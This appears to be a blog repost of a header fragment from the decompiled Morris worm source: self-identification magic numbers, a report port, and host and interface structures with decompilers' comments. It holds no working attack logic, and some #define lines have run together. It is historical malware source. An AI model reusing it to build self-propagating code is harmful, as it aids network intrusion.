莫里斯蠕虫源码

/* Magic numbers the program uses to identify other copies of itself. */
#define REPORT_PORT 0x2c5d
#define MAGIC_1 0x00148898
#define MAGIC_2 0x00874697
extern int pleasequit;/* This stops the program after one
* complete pass if set. It is incremented
* inside of checkother if contact with another
* happens. */

/* There are pieces of \"stub\" code, presumably from something like this to
get rid of error messages */
#define error()

/* This appears to be a structure unique to this program. It doesn't seem that
* the blank slots are really an array of characters for the hostname, but
* maybe they are.
*/
struct hst {
char *hostname;
int l4, l8, l12, l16, l20, l24, o28, o32, o36, o40, o44;
int o48[6];/* used */
int flag;/* used */
#define HST_HOSTEQUIV8
#define HST_HOSTFOUR4
#define HST_HOSTTWO2
struct hst *next;/* o76 */
};

typedef struct {
char *name;
unsigned long size;
char *buf;
} object;

extern struct ifses {
int if_l0, if_l4, if_l8, if_l12; /* unused */
int if_l16;/* used */
int if_l20;/* unused */
int if_l24;/* used */
short if_l28;/* unused */
} ifs[];
extern nifs;

extern int ngateways;

extern object objects[], *getobjectbyname();
extern int nobjects;

/* Only used for a2in(). Why? I don't know. */
struct bar {int baz;};
extern struct bar *a2in();

转载于:https://my.oschina.net/u/2546684/blog/595468

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值